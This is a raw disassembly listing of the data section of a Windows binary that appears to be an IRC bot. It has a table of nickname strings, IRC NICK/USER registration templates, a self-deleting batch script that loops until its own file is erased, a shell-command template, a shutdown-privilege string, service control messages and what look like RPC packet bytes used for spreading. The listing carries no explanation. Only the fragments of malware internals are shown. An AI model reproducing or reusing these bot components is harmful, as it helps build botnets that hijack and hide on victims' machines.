dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset dword_438858
dd offset off_438854
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_4386C0
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
; ---------------------------------------------------------------------------
aam 85h
inc ebx
add al, cl
test [ebx+0], eax
rol byte ptr [ebp-7A4BFFBDh], 43h
loc_43828B: ; DATA XREF: sub_417E35+41r
; sub_417E35+ECr
add [eax-0BFFBC7Bh], ch
xchg eax, ebp
inc edx
add [ebp+eax*4-7A5FFFBDh], ah
inc ebx
add [eax-6BFFBC7Bh], bl
test [ebx+0], eax
nop
test [ebx+0], eax
mov [ebp-7A7FFFBDh], al
inc ebx
add [eax-7Bh], bh
inc ebx
add [eax-7Bh], dh
inc ebx
add [eax-7Bh], ch
inc ebx
add [eax-7Bh], ah
inc ebx
add [eax-7Bh], bl
inc ebx
add [eax-7Bh], dl
inc ebx
add [ebp+eax*4+43h], al
add ds:85340043h[eax*4], bh
inc ebx
add [eax], dh
test [ebx+0], eax
sub [ebp-74E3FFBDh], al
inc ebx
add ah, bh
retf 42h
; ---------------------------------------------------------------------------
dd offset dword_438B38
dd offset aE ; "e"
dd offset dword_438B34
dd offset dword_438B30
dd offset dword_438B2C
dd offset aI ; "i"
dd offset dword_42B938
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset dword_438B28
dd offset aM ; "m"
dd offset aN ; "n"
dd offset aO ; "o"
dd offset aP ; "p"
dd offset aQ ; "q"
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
dd offset dword_438B40
dd offset dword_438B20
dd offset dword_438B3C
dd offset dword_438B24
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset dword_438B24
dd offset dword_438B30
dd offset aS_0 ; "s"
dd offset aQ ; "q"
dd offset off_4384E0
dd offset aBbl ; "|bbl"
dd offset byte_43B4B8
dd offset byte_43B4B8
dd offset a___0 ; "_|_"
dd offset byte_43B4B8
dd offset byte_43B4B8
dd offset byte_43B4B8
dd offset byte_43B4B8
dd offset dword_438AEC
dd offset aM_0 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_2 ; "^^^f^"
dd offset dword_438B1C
dd offset byte_43B4B8
dd offset aSleeping ; "Sleeping"
dd offset byte_43B4B8
dd offset byte_43B4B8
dd offset aFuck_0 ; "Fuck"
dd offset aFree ; "Free"
dd offset byte_43B4B8
dd offset byte_43B4B8
dd offset dword_438AD0
dd offset byte_43B4B8
dd offset off_4384A0
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset dword_438460
dd offset dword_43845C
dd offset dword_438454
dd offset dword_438448
dd offset dword_438440
dd offset dword_438438
dd offset dword_438430
dd offset dword_43842C
dd offset dword_438428
dword_438428 dd 7536h ; DATA XREF: ___:00438424o
dword_43842C dd 7535h ; DATA XREF: ___:00438420o
dword_438430 dd 7C75347Ch, 0 ; DATA XREF: ___:0043841Co
dword_438438 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438418o
dword_438440 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438414o
dword_438448 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438410o
dword_438454 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:0043840Co
dword_43845C dd 6C6F6Ch ; DATA XREF: ___:00438408o
dword_438460 dd 746F74h ; DATA XREF: ___:00438404o
aMofo db 'mofo',0 ; DATA XREF: ___:00438400o
align 4
aMof0 db 'mof0',0 ; DATA XREF: ___:004383FCo
align 4
aMuha db 'muha',0 ; DATA XREF: ___:004383F8o
align 4
aYeah db 'yeah',0 ; DATA XREF: ___:004383F4o
align 4
aAha db 'aha',0 ; DATA XREF: ___:004383F0o
aShit db 'shit',0 ; DATA XREF: ___:004383ECo
align 10h
aGurl db 'gurl',0 ; DATA XREF: ___:004383E8o
align 4
aGirl_0 db 'GIRL',0 ; DATA XREF: ___:004383E4o
align 10h
off_4384A0 dd offset word_594F42 ; DATA XREF: ___:004383E0o
aFree db 'Free',0 ; DATA XREF: ___:004383CCo
align 4
aFuck_0 db 'Fuck',0 ; DATA XREF: ___:004383C8o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: ___:004383BCo
align 10h
aF_2 db '^^^f^',0 ; DATA XREF: ___:004383B0o
align 4
aSad db 'Sad',0 ; DATA XREF: ___:004383ACo
aLuvu db 'LUVU',0 ; DATA XREF: ___:004383A8o
align 4
a___0 db '_|_',0 ; DATA XREF: ___:0043838Co
aBbl db '|bbl',0 ; DATA XREF: ___:00438380o
align 10h
off_4384E0 dd offset loc_425241+1 ; DATA XREF: ___:0043837Co
aMuckc db 'muckc',0 ; DATA XREF: ___:00438368o
align 4
aTruck db 'truck',0 ; DATA XREF: ___:00438364o
align 4
aTrimy db 'trimy',0 ; DATA XREF: ___:00438360o
align 4
aLuvy db 'luvy',0 ; DATA XREF: ___:0043835Co
align 4
aUi db 'ui',0 ; DATA XREF: ___:00438358o
align 4
aSdf db 'sdf',0 ; DATA XREF: ___:00438354o
aRt db 'rt',0 ; DATA XREF: ___:00438350o
align 10h
aGf db 'gf',0 ; DATA XREF: ___:0043834Co
align 4
aTy db 'ty',0 ; DATA XREF: ___:00438348o
align 4
aRg db 'rg',0 ; DATA XREF: ___:00438344o
align 4
aHappy db 'happy',0 ; DATA XREF: ___:00438340o
align 4
aRs db 'rs',0 ; DATA XREF: ___:00438320o
align 4
aQ8A db '|q8|a',0
align 10h
aQ8 db 'Q8',0
align 4
aSick db 'sick}}',0
align 4
aWiked db '|wiked|',0
aLuvuF db '||luvu-f|',0
align 10h
aGens db '{gens|',0
align 4
aSex_0 db '{sex}',0
align 10h
aHub db '{hub}',0
align 4
aLuck db '|luck|',0
align 10h
aSuck db '|suck|',0
align 4
aTot db '-|tot|',0
align 10h
aWoh db '|woh|',0
align 4
aTambe db '|tambe|',0
aLag db 'lag',0
aBad db 'bad',0
aTree db 'tree',0
align 10h
aZex db 'zex',0
aLez db 'lez',0
aWantedlove db 'WANTEDLOVE',0
align 4
aCumhur29 db 'cumhur29',0
align 10h
aAdamm db 'ADAMM',0
align 4
aMaveRIck db 'MaVe{R}icK',0
align 4
aPrometheus db 'prometheus',0
align 10h
aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00438278o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00438274o
align 4
aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00438270o
align 10h
aCem39 db 'cem39',0 ; DATA XREF: ___:0043826Co
align 4
aCool30m db 'cool30m',0 ; DATA XREF: ___:00438268o
aTropikal db 'tropikal',0 ; DATA XREF: ___:00438264o
align 4
aPassenger db 'passenger',0 ; DATA XREF: ___:00438260o
align 4
aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:0043825Co
align 4
aUla db 'ula',0 ; DATA XREF: ___:00438258o
aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00438254o
aAkden db 'akden',0 ; DATA XREF: ___:00438250o
align 4
aKoray db 'KORAY',0 ; DATA XREF: ___:0043824Co
align 10h
aAta29 db 'Ata29',0 ; DATA XREF: ___:00438248o
align 4
aFirtina db 'firtina',0 ; DATA XREF: ___:00438244o
aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438240o
aM41ist db 'M41IST',0 ; DATA XREF: ___:0043823Co
align 10h
aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438238o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: ___:00438234o
align 4
aAnkm db 'ankM',0 ; DATA XREF: ___:00438230o
align 4
aErkan db 'erkan',0 ; DATA XREF: ___:0043822Co
align 4
aDevre db 'devre',0 ; DATA XREF: ___:00438228o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: ___:00438224o
align 4
aBirsen db 'birsen',0 ; DATA XREF: ___:00438220o
align 4
aA44m db 'a44m',0 ; DATA XREF: ___:0043821Co
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: ___:00438218o
align 10h
off_4386C0 dd offset byte_4B5245 ; DATA XREF: ___:00438214o
aSevda db 'sevda',0 ; DATA XREF: ___:00438210o
align 4
aKotan db 'kotan',0 ; DATA XREF: ___:0043820Co
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00438208o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: ___:00438204o
align 4
aKapk db 'kapk',0 ; DATA XREF: ___:00438200o
align 10h
aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:004381FCo
align 4
aHayran db 'hayran',0 ; DATA XREF: ___:004381F8o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:004381F4o
align 10h
aAnkar db 'Ankar',0 ; DATA XREF: ___:004381F0o
align 4
aDjspace db 'DJSPACE',0 ; DATA XREF: ___:004381ECo
aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:004381E8o
align 4
aUmut db 'umut-',0 ; DATA XREF: ___:004381E4o
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: ___:004381E0o
align 4
aKumul db 'kumul',0 ; DATA XREF: ___:004381DCo
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:004381D8o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:004381D4o
align 4
aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:004381D0o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: ___:004381CCo
align 10h
aAykut1 db 'aykut1',0 ; DATA XREF: ___:004381C8o
align 4
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:004381C4o
align 4
aMahinur db 'MAHINUR',0 ; DATA XREF: ___:004381C0o
aHoly db 'holy',0 ; DATA XREF: ___:004381BCo
align 4
aFlord db 'FLoRD',0 ; DATA XREF: ___:004381B8o
align 10h
aKebikec db 'kebikec',0 ; DATA XREF: ___:004381B4o
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:004381B0o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:004381ACo
align 10h
aEmre db 'Emre--',0 ; DATA XREF: ___:004381A8o
align 4
aRamtha db 'RAMTHA',0 ; DATA XREF: ___:004381A4o
align 10h
aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:004381A0o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: ___:0043819Co
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00438198o
align 10h
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00438194o
aArda db 'arda',0 ; DATA XREF: ___:00438190o
align 4
aDevran db 'devran',0 ; DATA XREF: ___:0043818Co
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00438188o
aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00438184o
align 10h
aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00438180o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:0043817Co
align 4
aBogac db 'bogac',0 ; DATA XREF: ___:00438178o
align 10h
aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00438174o
align 4
aAnkh db 'ankh',0 ; DATA XREF: ___:00438170o
align 4
off_438854 dd offset byte_457441 ; DATA XREF: ___:0043816Co
dword_438858 dd 414C5941h, 2Dh ; DATA XREF: ___:00438168o
aAlbina db 'albina',0 ; DATA XREF: ___:00438164o
align 4
aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00438160o
align 4
aZack db 'ZACK',0 ; DATA XREF: ___:0043815Co
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: ___:00438158o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: ___:00438154o
align 4
aAhmet db 'ahmet',0 ; DATA XREF: ___:00438150o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: ___:0043814Co
align 10h
aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00438148o
align 4
aRetg db 'RETG',0 ; DATA XREF: ___:00438144o
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438140o
align 10h
aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:0043813Co
aAslii db 'aslii',0 ; DATA XREF: ___:00438138o
align 10h
aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00438134o
aHaticem db 'haticem',0 ; DATA XREF: ___:00438130o
aArzu db 'ARZU',0 ; DATA XREF: ___:0043812Co
align 4
aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438128o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00438124o
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00438120o
align 4
aTekir db 'tekir',0 ; DATA XREF: ___:0043811Co
align 10h
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00438118o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: ___:00438114o
align 4
aMelekk db 'melekk',0 ; DATA XREF: ___:00438110o
align 4
aAkin db 'AKIN',0 ; DATA XREF: ___:0043810Co
align 4
aMary_0 db 'MARY',0 ; DATA XREF: ___:00438108o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: ___:00438104o
aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00438100o
aMisssunday db 'misssunday',0 ; DATA XREF: ___:004380FCo
align 4
aIrmal db 'irmal',0 ; DATA XREF: ___:004380F8o
align 10h
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:004380F4o
align 10h
aBerk19 db 'berk19',0 ; DATA XREF: ___:004380F0o
align 4
aHexaaa db 'hexaaa',0 ; DATA XREF: ___:004380ECo
align 10h
aErkan27 db 'erkan27',0 ; DATA XREF: ___:004380E8o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:004380E4o
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:004380E0o
align 10h
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:004380DCo
align 4
aKencing db 'Kencing',0 ; DATA XREF: ___:004380D8o
aReshma db 'reshma',0 ; DATA XREF: ___:004380D4o
align 4
aCamel db 'CAMEL',0 ; DATA XREF: ___:004380D0o
align 4
aGirl db 'GirL',0 ; DATA XREF: ___:004380CCo
align 4
aImra db 'imra',0 ; DATA XREF: ___:004380C8o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: ___:004380C4o
align 10h
aPuregold db 'puregold',0 ; DATA XREF: ___:004380C0o
align 4
aKermit db 'kermit',0 ; DATA XREF: ___:004380BCo
align 4
aManee db 'manee',0 ; DATA XREF: ___:004380B8o
align 4
aTroller db 'troller',0 ; DATA XREF: ___:004380B4o
aLuisa db 'Luisa',0 ; DATA XREF: ___:004380B0o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: ___:004380ACo
align 4
aRimpy db 'rimpy',0 ; DATA XREF: ___:004380A8o
align 10h
aJanno db 'janno',0 ; DATA XREF: ___:004380A4o
align 4
aBunty db 'bunty',0 ; DATA XREF: ___:004380A0o
align 10h
aHeval db 'heval',0 ; DATA XREF: ___:0043809Co
align 4
aCme db 'cme',0 ; DATA XREF: ___:00438098o
aMarcy db 'marcy',0 ; DATA XREF: ___:00438094o
align 4
aTalika db 'talika',0 ; DATA XREF: ___:00438090o
align 4
aShez db 'Shez',0 ; DATA XREF: ___:0043808Co
align 4
aKen db 'ken',0 ; DATA XREF: ___:00438088o
aFlexster db 'flexster',0 ; DATA XREF: ___:00438084o
align 4
aKoko db 'koko',0 ; DATA XREF: ___:00438080o
align 4
aMale db 'male',0 ; DATA XREF: ___:0043807Co
align 4
aSwin db 'swin',0 ; DATA XREF: ___:00438078o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00438074o
aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00438070o
align 4
aEmilya db 'emilya',0 ; DATA XREF: ___:0043806Co
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00438068o
align 10h
aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00438064o
aFarooq db 'farooq',0 ; DATA XREF: ___:00438060o
align 10h
aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:0043805Co
align 4
aM_0: ; DATA XREF: ___:00438058o
; ___:004383A4o
unicode 0, <M>,0
word_438AC0 dw 4Eh ; DATA XREF: sub_41A367+38r
; ___:00438054o
align 4
dword_438AC4 dd 42h ; DATA XREF: ___:00438050o
dword_438AC8 dd 56h ; DATA XREF: ___:0043804Co
dword_438ACC dd 43h ; DATA XREF: ___:00438048o
dword_438AD0 dd 58h ; DATA XREF: ___:00438044o
; ___:004383D8o
dword_438AD4 dd 5Ah ; DATA XREF: ___:00438040o
dword_438AD8 dd 4Ch ; DATA XREF: ___:0043803Co
dword_438ADC dd 4Bh ; DATA XREF: ___:00438038o
dword_438AE0 dd 4Ah ; DATA XREF: ___:00438034o
dword_438AE4 dd 48h ; DATA XREF: ___:00438030o
dword_438AE8 dd 47h ; DATA XREF: ___:0043802Co
dword_438AEC dd 46h ; DATA XREF: ___:00438028o
; ___:004383A0o
dword_438AF0 dd 44h ; DATA XREF: ___:00438024o
dword_438AF4 dd 53h ; DATA XREF: ___:00438020o
dword_438AF8 dd 50h ; DATA XREF: ___:00438018o
dword_438AFC dd 4Fh ; DATA XREF: ___:00438014o
dword_438B00 dd 55h ; DATA XREF: ___:0043800Co
word_438B04 dw 59h ; DATA XREF: sub_41A68B+38r
; ___:00438008o
align 4
dword_438B08 dd 54h ; DATA XREF: ___:00438004o
dword_438B0C dd 52h ; DATA XREF: ___:00438000o
dword_438B10 dd 45h ; DATA XREF: ___:00437FFCo
dword_438B14 dd 57h ; DATA XREF: ___:00437FF8o
dword_438B18 dd 51h ; DATA XREF: ___:00437FF4o
dword_438B1C dd 62h ; DATA XREF: ___:00437FE8o
; ___:004383B4o
dword_438B20 dd 78h ; DATA XREF: ___:00438334o
dword_438B24 dd 7Ah ; DATA XREF: ___:0043833Co
; ___:0043836Co
dword_438B28 dd 6Ch ; DATA XREF: ___:00438308o
dword_438B2C dd 68h ; DATA XREF: ___:004382F4o
dword_438B30 dd 67h ; DATA XREF: ___:004382F0o
; ___:00438370o
dword_438B34 dd 66h ; DATA XREF: ___:004382ECo
dword_438B38 dd 64h ; DATA XREF: ___:004382E4o
dword_438B3C dd 79h ; DATA XREF: ___:00438338o
dword_438B40 dd 77h ; DATA XREF: ___:00438330o
dword_438B44 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417B1E+C3o
dword_438B50 dd 323334h ; DATA XREF: sub_417B1E+88o
dword_438B54 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417B1E+67o
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C15+98o
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 10h
a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417E35+BCo
; sub_417E35+175r ...
align 4
dword_438B9C dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_41827E+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_438BE8 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_41827E+E3o
; ---------------------------------------------------------------------------
loc_438C04: ; DATA XREF: sub_41827E+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_438C18 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_41827E+13Fo
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41864A+72o
align 10h
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418791+1Co
align 10h
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418835+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418857+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418857+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418857+48o
align 4
unk_438CCC db 2Dh ; - ; DATA XREF: sub_4189DF+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
unk_438CFC db 2Dh ; - ; DATA XREF: sub_4189DF+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
dword_438D24 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_4189DF+5Co
dd 65726165h, 64h
off_438D40 dd offset aAdd ; DATA XREF: sub_418BBF+6Dr
; sub_418FA3+50r ...
; "Add"
off_438D44 dd offset aAdded ; DATA XREF: sub_418BBF+2Dr
; sub_418FA3+82r ...
; "Added"
dword_438D48 dd 0 ; DATA XREF: sub_418BBF+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 438DB4h, 438DACh, 2, 438DA0h, 438D94h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: ___:00438D74o
aStop_0 db 'Stop',0 ; DATA XREF: ___:00438D70o
align 4
aStarted db 'Started',0 ; DATA XREF: ___:00438D68o
aStart_0 db 'Start',0 ; DATA XREF: ___:00438D64o
align 4
aListed db 'Listed',0 ; DATA XREF: ___:00438D5Co
align 4
aList_1 db 'List',0 ; DATA XREF: ___:00438D58o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: ___:00438D50o
aDelete_0 db 'Delete',0 ; DATA XREF: ___:00438D4Co
align 4
aAdded db 'Added',0 ; DATA XREF: ___:off_438D44o
align 4
aAdd db 'Add',0 ; DATA XREF: ___:off_438D40o
unk_438E08 db 2Dh ; - ; DATA XREF: sub_418BBF+74o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_438E2C db 2Dh ; - ; DATA XREF: sub_418BBF+55o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 4
unk_438E58 db 2Dh ; - ; DATA XREF: sub_418BBF+38o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418CE8+12Co
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418CE8:loc_418E00o
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418CE8:loc_418DF9o
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_418CE8:loc_418DF2o
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_418CE8:loc_418DEBo
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_418CE8:loc_418DE4o
db ' correct access rights.',0
align 10h
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_418CE8:loc_418DDDo
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418CE8:loc_418DD6o
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_418CE8:loc_418DCFo
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_418CE8:loc_418DC8o
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_418CE8:loc_418DC1o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_418CE8:loc_418D96o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_418CE8:loc_418D8Fo
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_418CE8:loc_418D88o
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_418CE8:loc_418D81o
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418CE8+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_418CE8:loc_418D56o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_418CE8:loc_418D4Co
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_418CE8:loc_418D42o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418CE8:loc_418D38o
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_418CE8:loc_418D2Eo
align 4
